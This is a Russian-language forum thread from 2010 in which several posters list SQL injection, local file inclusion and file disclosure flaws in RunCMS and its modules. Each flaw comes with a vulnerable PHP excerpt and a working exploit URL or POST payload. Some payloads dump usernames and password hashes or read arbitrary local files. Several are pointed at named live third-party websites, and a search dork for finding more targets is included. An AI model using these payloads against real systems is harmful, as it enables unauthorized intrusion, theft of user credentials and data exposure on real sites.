Старый 03.07.2010, 16:13   #1
Ded MustD!e
Banned
 
Регистрация: 01.07.2010
Сообщений: 162
По умолчанию Уязвимости RunCMS и модулей

SQL-Inj в стандартном модуле RunCMS galleri

/modules/galleri/class/galltree.php

PHP код:
...
10   class GallTree{
11    var $table;   
12    var $id
13    var $pid;    
14    var $order;   
15    var $title;   
16    var $db;
17  
18    
function GallTree($table_name$id_name$pid_name){
19      global $db;
20      $this->db $db;
21      $this->table $table_name;
22      $this->id $id_name;
23      $this->pid $pid_name;
24    }
...
144    function getNicePathFromId($sel_id$title$funcURL$path=""){
145      $sql "SELECT ".$this->pid.", ".$title." FROM ".$this->table." WHERE ".$this->id."=$sel_id";
146      $result $this->db->query($sql);
147      if ( $this->db->num_rows($result) == ) {
148        return $path;
149      }
150      list($parentid,$name) = $this->db->fetch_row($result);
151      $myts =& GallTextSanitizer::getInstance();
152      $name $myts->makeTboxData4Show($name);
153      $path "<a href='".$funcURL."&".$this->id."=".$sel_id."'>".$name."</a>&nbsp;:&nbsp;".$path."";
154      if ( $parentid == ) {
155        return $path;
156      }
157      $path $this->getNicePathFromId($parentid$title$funcURL$path);
158      return $path;
159    }
... 
/modules/galleri/viewcat.php

PHP код:
...
12    include_once(GALLI_PATH."/class/galltree.php");
13    $galltree = new GallTree($db->prefix("galli_category"),"cid","scid");
...
17   if (isset($_GET['cid'])) {
18      $cid = $_GET['cid'];
19    }elseif(isset($_POST['cid'])) {
20      $cid = $_POST['cid'];
21    }else{
22      if ($id == 0){
23           ?>
24         <html><head>
25         <meta http-equiv='refresh' content='0;URL=index.php'>
26         </head></html>
27           <?php
28           
exit();
29           }else{
30               $tempid = new GallImg($id);
31               $cid $tempid->cid();
32           }
33     }
...
73   $pathstring "<a href='index.php'>"._MD_MAIN."</a>&nbsp;:&nbsp;";
74   $nicepath $galltree->getNicePathFromId($cid"coment""viewcat.php?");
75   $pathstring .= $nicepath;
76   
77   
echo "<b>".$pathstring."</b>";
...
Реализация:
Код:
http://localhost/runcms/modules/galleri/viewcat.php?cid=-1+union+select+1,2
Ded MustD!e вне форума   Ответить с цитированием
Старый 03.07.2010, 16:13   #2
Ded MustD!e
Banned
 
Регистрация: 01.07.2010
Сообщений: 162
По умолчанию

Blind SQL-Inj в стандартном модуле downloads:

/class/groupaccess.php

PHP код:
...
234   class RcxDownload {
235     function isAccessible($lid)
236     {
237       global $db,$rcxUser;
238    
239       
if ($rcxUser)
240         $groups $rcxUser->groups();
241       else
242         $groups RcxGroup::getByType("Anonymous");
243   
244       $query 
"select count(*) from ".$db->prefix("downloads_downloads")." where lid = $lid and (";
245   
246       $first 
true;
247       foreach ($groups as $group)
248       {
249         if (!$first)
250           $query.= " or ";
251   
252         
if ($first == true
253           $first false;
254         $query.= "groups like '%$group%'";
255       }
256       $query.= ")";
257   
258       $result 
$db->query($query);
259       list($ret) = $db->fetch_row($result);
260       if ($ret 0)
261         return true;
262       else
263         return false;
264     }
... 
/modules/downloads/brokenfile.php

PHP код:
...
13   if ( empty($lid) ) {
14       redirect_header(RCX_URL."/modules/downloads",3);
15       exit();
16   } elseif ( !RcxDownload::isAccessible($lid) ) {
17       redirect_header(RCX_URL."/register.php",3,_MD_NOUSER);
18       exit();
19   }
... 
/modules/downloads/singlefile.php

PHP код:
...
12   include_once(RCX_ROOT_PATH."/class/groupaccess.php");
13   if ( empty($lid) ) {
14       redirect_header(RCX_URL."/modules/downloads",3);
15       exit();
16   } elseif ( !RcxDownload::isAccessible($lid) ) {
17       redirect_header(RCX_URL."/user.php",3,_MD_MUSTREGFIRST);
18       exit();
19   }
... 
/modules/downloads/visit.php

PHP код:
...
13   include_once(RCX_ROOT_PATH."/class/groupaccess.php");
14   if ( empty($lid) ) {
15       redirect_header(RCX_URL."/modules/downloads",3);
16       exit();
17   } elseif ( !RcxDownload::isAccessible($lid) ) {
18       redirect_header(RCX_URL."/user.php",3,_MD_MUSTREGFIRST);
19       exit();
20   }
... 
Реализация:
Код:
http://localhost/runcms/modules/downloads/brokenfile.php?lid=1+and+substring(version(),1,1)=5
http://localhost/runcms/modules/downloads/singlefile.php?lid=1+and+mid(version(),1,1)=5
http://localhost/runcms/modules/downloads/visit.php?lid=1+and+substring(version(),1,1)=5
Ded MustD!e вне форума   Ответить с цитированием
Старый 06.07.2010, 15:37   #3
nikp
Banned
 
Регистрация: 05.07.2010
Сообщений: 201
Репутация: 183
По умолчанию

RunCMS v2.1
http://www.runcms.ru/
Стандартный модуль Фотогалерея (gallery v2.02)

modules/galleri/img.php
PHP код:
  include("../../mainfile.php");
  if( !
eregi(  RCX_URL$HTTP_REFERER) || $image == 0) {
    echo 
"<table height='100%' width='100%' border='0' cellspacing='0' cellpadding='0' align='center' valign='middle'><tr>";
    echo 
"<td align='center'><font size='2' color='#ff0000'><b>Selbst fotografieren macht Spass<br><br>(c) by ".RCX_URL."</b></font></td></tr></table>";
  }else{
    
$result $db->query("SELECT cname, img FROM ".$db->prefix("galli_img")." WHERE id=".$image."");
    list(
$cname$img)=$db->fetch_row($db->query("SELECT cname, img FROM ".$db->prefix("galli_img")." WHERE id=".$image.""));
    
$img_file RCX_ROOT_PATH."/modules/galleri/galerie/".$cname."/".$img;
    if(@
file_exists($img_file)){    
      
$size = @getimagesize($img_file);
      echo 
"<table border='0' cellspacing='0' cellpadding='0'><tr>";
      echo 
"<td style='background-image:url(".RCX_URL."/modules/galleri/galerie/".$cname."/".$img.")'>";
      echo 
"<img src='".RCX_URL."/modules/galleri/images/blank.gif' ".$size[3]." border='0'>";
      echo 
"</td></tr></table>"
$image не фильтруется, но для проведения SQL Injection нужно выполнить два условия:

- eregi( RCX_URL, $HTTP_REFERER). В Referer подставить УРЛ до корня CMS.
Если ошибемся получим сообщение:
"Selbst fotografieren macht Spass (c) by http://localhost/runcms"
т.е. подсказка, RCX_URL=http://localhost/runcms

- Вывод первого поля попадает в переменную $cname, поэтому нужно подставить путь до существующего файла,
тогда во втором поле увидим результаты иньекции.

SQL
mq=off
http://www.managym.dk/modules/galleri/img.php
header
REFERER=http://www.managym.dk
post
image=-1 union select "../img.php%00",version()

Вывод смотрим в source code.

-------------------------

modules/galleri/rateimg.php

PHP код:
    include("header.php");
    include_once(
RCX_ROOT_PATH."/class/module.textsanitizer.php");
    
$myts = new MyTextSanitizer
    include_once(
GALLI_PATH."/include/user.errorhandler.php");
    include_once(
GALLI_PATH."/class/gall_img.php");

...
      if(!
$rcxUser){
        
$ratinguser 0;    // т.е. гость, не авторизован (nikp)
      
}else{
        
$ratinguser $rcxUser->uid();
      }

...
      
$id $_POST['id'];

...
        if (
$ratinguser == 0){
          
$yesterday = (time()-(86400 $anonwaitdays));
            
$result=$db->query("select count(*) FROM ".$db->prefix("galli_vote")." WHERE id=$id AND ratinguser=0 AND ratinghostname = '$ip' AND ratingtimestamp > $yesterday");
          list(
$anonvotecount) = $db->fetch_row($result); 
SQL
mq=any

http://blender-3d.ru/modules/galleri/rateimg.php
post
id=-1 union select concat_ws(0x3a,uname,pass,level) from runcms_users


http://www.amigoitaly.ru/modules/galleri/rateimg.php
post
id=-1 union select concat_ws(0x3a,uname,pass,level) from run_users

------------------------
nikp вне форума   Ответить с цитированием
Старый 06.07.2010, 15:53   #4
Chelios
 
Регистрация: 05.07.2010
Сообщений: 42
Репутация: 14
По умолчанию

Run CMS 2.1


SQL-Injection

file:/modules/forum/reply.php
PHP код:
include_once("class/class.forumposts.php");
$forumpost  = new ForumPosts($post_id); 
file:/modules/forum/class/class.forumposts.php
PHP код:
function ForumPosts($id=-1) {
        if ( 
is_array($id) ) {
                
$this->makePost($id);
                } elseif ( 
$id != -) {
                        
$this->getPost($id);
                }
        }

...

function 
getPost($id) {

...

$sql   "SELECT * FROM ".$bbTable['posts']." WHERE post_id=$id";
$array $db->fetch_array($db->query($sql));

... 
result:

Код:
/modules/forum/reply.php?forum=3&post_id=-4+union+select+1,2,3,4,5,6,7,version(),9,10,11,12,13,14,15,16,17,18&topic_id=4&viewmode=flat&order=0


SQL-Injection
need:user account

file:/modules/pm/print.php
PHP код:
if ( isset($_POST['op']) ) {
        
$op =  $_POST['op'];
        } elseif ( isset(
$_GET['op']) ) {
                
$op =  $_GET['op'];
}

if ( isset(
$_POST['msg_id']) ) {
        
$msg =  $_POST['msg_id'];
        } elseif ( isset(
$_GET['msg_id']) ) {
                
$msg =  $_GET['msg_id'];
}

if (empty(
$msg)) {
        
redirect_header("index.php"2_PM_NOPNTOPRINT);
        exit();
}

if (
$op == "print_pn") {
     
$sql "SELECT msg_id, subject, from_userid, to_userid, msg_time, msg_text FROM ".$db->prefix("pm_msgs")." WHERE msg_id=".$msg." ";
}

if (
$op == 'print_sent_pn') {
     
$sql "SELECT msg_id, subject, from_userid, to_userid, msg_time, msg_text FROM ".$db->prefix("pm_msgs_sent")." WHERE msg_id=".$msg."";

result:
Код:
/modules/pm/print.php?op=print_pn&msg_id=-0+union+select+1,2,3,4,5,6


LFI
need: administrator account, mq=off

Код:
/modules/system/admin.php?fct=tpleditor&op=file_edit&module=../../../[local_file]%00
/modules/system/admin.php?fct=tpleditor&op=css_edit&module=../../[local_file]%00
/modules/system/admin.php?fct=tpleditor&op=tpl_module_edit&module=../../[local_file]%00&tpl=1

--------------


Код:
/modules/forum/edit.php?forum=1&post_id=-1+union+select+1,2,3,4,5,6,7,version(),9,10,11,12,13,14,15,16,17,18&topic_id=4&viewmode=flat&order=0
/modules/galleri/viewcat.php?cid=-1+union+select+1,version()
Chelios вне форума   Ответить с цитированием
Старый 06.07.2010, 16:18   #5
nikp
Banned
 
Регистрация: 05.07.2010
Сообщений: 201
Репутация: 183
По умолчанию

Стандартный модуль sections (Статьи)

modules/sections/index.php
PHP код:
function listarticles($secid) {
global  
$rcxConfig$rcxUser$rcxModule$sectionsConfig$db$myts$_GET;

$access = new groupAccess('listarticles');
$access->loadGroups($secid'secid'_MI_NSECTIONS_TABLE);
if ( !
$access->checkGroups(1) ) {
    
redirect_header("javascript:history.go(-1)"3_NOPERM);
    exit();
}

$result $db->query("SELECT secname, image FROM ".$db->prefix(_MI_NSECTIONS_TABLE)." WHERE secid=$secid");
list(
$secname$image) = $db->fetch_row($result);
$secname $myts->makeTboxData4Show($secname); 
SQL
http://localhost/runcms/modules/sections/index.php?op=listarticles&secid=1+and+1=2+union+se lect+version(),2

--------------------------

modules/sections/index.php
PHP код:
function viewarticle($artid$page) {
global 
$rcxUser$rcxModule$db$myts$rcxConfig$meta$page;

$access = new groupAccess('viewarticle');
$access->loadGroups($artid'artid'_MI_NSECCONT_TABLE);
if ( !
$access->checkGroups(1) ) {
    
redirect_header("javascript:history.go(-1)"3_NOACTION);
    exit();
}

if ( !isset(
$page) ) {
    
$db->query("UPDATE ".$db->prefix(_MI_NSECCONT_TABLE)." SET counter=counter+1 WHERE artid='$artid'");
}

$result $db->query("SELECT artid, secid, title, author, date, content, allow_html, allow_smileys, allow_bbcode, counter FROM ".$db->prefix(_MI_NSECCONT_TABLE)." WHERE artid=$artid");
list(
$artid$secid$title$author$date$content$allow_html$allow_smileys$allow_bbcode$counter) = $db->fetch_row($result);
$title    $myts->makeTboxData4Show($title);

$myts->setType('admin');
$content  $myts->makeTareaData4Show($content$allow_html$allow_smileys$allow_bbcode);
$thisUser = new RcxUser($author);

if (!
$thisUser->isActive()) {
    
$name _MD_UNKNOWN;
    } else {
        
$name $thisUser->uname();
    }
$result2 $db->query("SELECT secid, secname FROM ".$db->prefix(_MI_NSECTIONS_TABLE)." WHERE secid=$secid");

list(
$secid$secname) = $db->fetch_row($result2); 
SQL
http://localhost/runcms/modules/sections/index.php?op=viewarticle&artid=1+and+1=2+union+sel ect+1,2,version(),4,5,user(),7,8,9,10

из поля 2 вывод попадает в переменную $secid, поэтому можно вставить иньекцию для второго запроса
SQL
http://localhost/runcms/modules/sections/index.php?op=viewarticle&artid=1+and+1=2+union+sel ect+1,"1+and+1=2+union+select+1,version()",3,4,5,6 ,7,8,9,10

--------------------------

Удобный многострочный вывод

/modules/sections/index.php
PHP код:
$result        $db->query("SELECT COUNT(*) FROM ".$db->prefix(_MI_NSECCONT_TABLE));
list(
$numrows) = $db->fetch_row($result);

if (
$numrows 0) {
$_GET['show'] ? $show $_GET['show'] : $show 0;
$limit  $sectionsConfig['article_limit'];

$result $db->query("SELECT artid, title, byline, author, content, counter, date FROM ".$db->prefix(_MI_NSECCONT_TABLE)." WHERE secid=$secid"$limit$show);
while (list(
$artid$title$byline$author$content$counter$date) = $db->fetch_row($result)) {
$title    $myts->makeTboxData4Show($title);
$byline   $myts->makeTboxData4Show($byline);
$content  $myts->makeTareaData4Show($content);
$thisUser = new RcxUser($author); 
SQL
http://localhost/runcms/modules/sections/index.php?op=listarticles&secid=1+union+select+1,u name,pass,4,5,email,7+from+w1kj7jl__users

Количество строк для вывода берется из конфигурации (по умолчанию 10), можно просматривать порциями,
регулируя параметром show: /index.php?op=listarticles&secid={SQL}&show=10

Массив $_GET фильтруется на наличие терминаторов -- и /*, но работает ;%00, если mq=off.
http://localhost/runcms/modules/sections/index.php?op=listarticles&secid=1+union+select+1,t able_schema,table_name,4,5,6,7+from+INFORMATION_SC HEMA.tables;%00

$secid воспринимается и через $_POST, пожалуй самый удобный вариант.
http://localhost/runcms/modules/sections/index.php?op=listarticles
post
secid=1+union+select+1,table_schema,table_name,4,5 ,6,7+from+INFORMATION_SCHEMA.tables+limit+0,300--
nikp вне форума   Ответить с цитированием
Старый 06.07.2010, 17:13   #6
nikp
Banned
 
Регистрация: 05.07.2010
Сообщений: 201
Репутация: 183
По умолчанию

Модуль Event Calendar (rc2m1-ecal-beta2.01) 25-2-2010 Updatet with bug fix to stop addlocation bug!
http://www.runcms.org/modules/mods/
dork inurl:"modules/ecal/"

Уязвимости во многом остались прежними, смотрим обзор BlackSun`а, добавлю только:
modules/ecal/display.php
PHP код:
...
$katid = !empty( $_POST['katid']) ?  $_POST['katid'] :  $_GET['katid'];
...
if (
$katid) {
    
$abfrage =" stamp >= \"$year1-$month1-$day1 00:00:00\" AND cid=$katid AND valid ='yes'";
    
$kat1 $db->query("SELECT title, cid FROM ".$db->prefix("ecal_cat")." where cid=$katid");
    list(
$kattitle) = $db->fetch_row($kat1);
...
        
$query $db->query("SELECT * FROM ".$db->prefix("ecal")." WHERE $abfrage ORDER BY stamp");
        
$results=$db->num_rows($query);
        
        if (!
$results ) {
            echo 
"<BR><CENTER><B>"._NOEVENTDAY."</B></CENTER><BR>";
        } else {
        while (
$row $db->fetch_array($query)){
                        
            
$nomuser $row['username'];
             
$auteur $db->query("SELECT uid FROM ".$db->prefix("users")." where uname='$nomuser'");
            list(
$uid) = $db->fetch_row($auteur);
            
            
$kat $db->query("SELECT title, cid FROM ".$db->prefix("ecal_cat")." where cid=".$row['cid']);
            
$kategorie $db->fetch_array($kat);
            
            
$locat $db->query("SELECT lid, location, email, url FROM ".$db->prefix("ecal_location")." where lid=".$row['locationid']);
            
$location $db->fetch_array($locat);
            
            
$Calanddate $row['stamp'];
            
$Calanddate strftime(_EVEDATESTRING,strtotime($Calanddate));
            
$heurmin strftime(_EVETIME,strtotime($Calanddate));
            
$date strftime(_EVEDATESHORT,strtotime($Calanddate));
            
            include (
"include/displayform.php"); 
modules/ecal/include/displayform.php
PHP код:
            if ($row['privat'] == 0) {   //для поля 12 (nikp)
                
echo "<hr>";
                    echo 
"<table width='100%' class='bg2' border='0'><tr>";
                    echo 
"<td width='40%'><b>"._CAL_KATTERMIN."</b><a href='display.php?katid=".$kategorie['cid']."&day1=$currentday&month1=$currentmonth&year1=$currentyear&day=$day&month=$month&year=$year'>".$kategorie['title']."</a></td>";
                    echo 
"<td width='60%'><b>"._CAL_TITLE."</b> ".$row['subject']."</td>";
                    if (
$row['high'] == 1) {
                        echo 
"<td>"._CAL_TIPP."</td></tr></table>";
                    }
        
                    echo 
"<table width='100%' class='bg3' border='0'><tr>";
                    echo 
"<td width='10%'><b>"._CAL_AUTOR."</td>";
                    echo 
"<td width='20%'><a href='".RCX_URL."/userinfo.php?uid=".$uid."'><img src='language/".$rcxConfig['language']."/images/icon_profile.gif' border='0' width='59' height='18' ALT='".$row['username']."'></a></td>";
                    echo 
"<td width='10%'>&nbsp;</td>";
                    echo 
"<td width='60%'>&nbsp;</td></tr>";
// и т.д  вывод 
Многострочный вывод

SQL
mq=any
в поле 12 нужно поставить 0 (вывод для неавторизованного пользователя)

http://nkamsk.name/modules/ecal/display.php
post
katid=-1 union select 1,2,3,4,5,6,7,table_name,9,10,11,0,13,14 from information_schema.tables --

или с иньекцией для $row['cid']
http://scrap-info.ru/modules/ecal/display.php
post
katid=-1 union select 1,"-1 union select database(),222",3,4,5,6,7,table_name,9,10,11,0,13,14 from information_schema.tables --
nikp вне форума   Ответить с цитированием
Старый 06.07.2010, 21:22   #7
Chelios
 
Регистрация: 05.07.2010
Сообщений: 42
Репутация: 14
По умолчанию

File Disclosure в стандартном модуле Forum

need:admin or moderator account; mq=off
file: /modules/forum/attachmanager.php
PHP код:
if ($rcxUser)
{
    if ( 
$rcxUser->isAdmin($rcxModule->mid()) || is_moderator($fp->forum_id$rcxUser->uid()))
    {
        
$adminview 1;
    }
}

$op $_POST['op'];
switch (
$op)
{
    case 
_DOWNLOAD:
    {
        
$attach Attachment::getByID($_POST['attach_id']);
        
$attach->download();
        break;
    } 
file: /modules/forum/class/class.attachment.php
PHP код:
    function getByID($attach_id)
    {
        global 
$db$bbTable;

        
$sql "SELECT * FROM ".$bbTable['attachments']." WHERE attach_id=$attach_id";
        
$result $db->query($sql);

        
$ret false;
        if (
$result)
        {
            
$row $db->fetch_object($result);
            
$ret = new Attachment($row);
        }
        return 
$ret;
    }

     ......

    function 
download()
    {
        global 
$bbPath;
        if(!
file_exists($bbPath['path'].'cache/attachments/'.$this->file_pseudoname))
        {
            die(
_MD_NO_SUCH_FILE);
        }

        
$this->incrementHitCount();

        
header("Content-type: ".$this->file_size);
        
header("Content-Disposition: attachment; filename=".$this->file_name);
        
readfile($bbPath['path'].'cache/attachments/'.$this->file_pseudoname);

    } 
result:

Код:
POST http://[host]/modules/forum/attachmanager.php?post_id=2
op=Download
attach_id=2+union+select+1,2,3,'../../../[local_file]',5,6,7
Chelios вне форума   Ответить с цитированием
Ответ

Метки
модули, runcms

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход



Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2019, Jelsoft Enterprises Ltd. Перевод: zCarot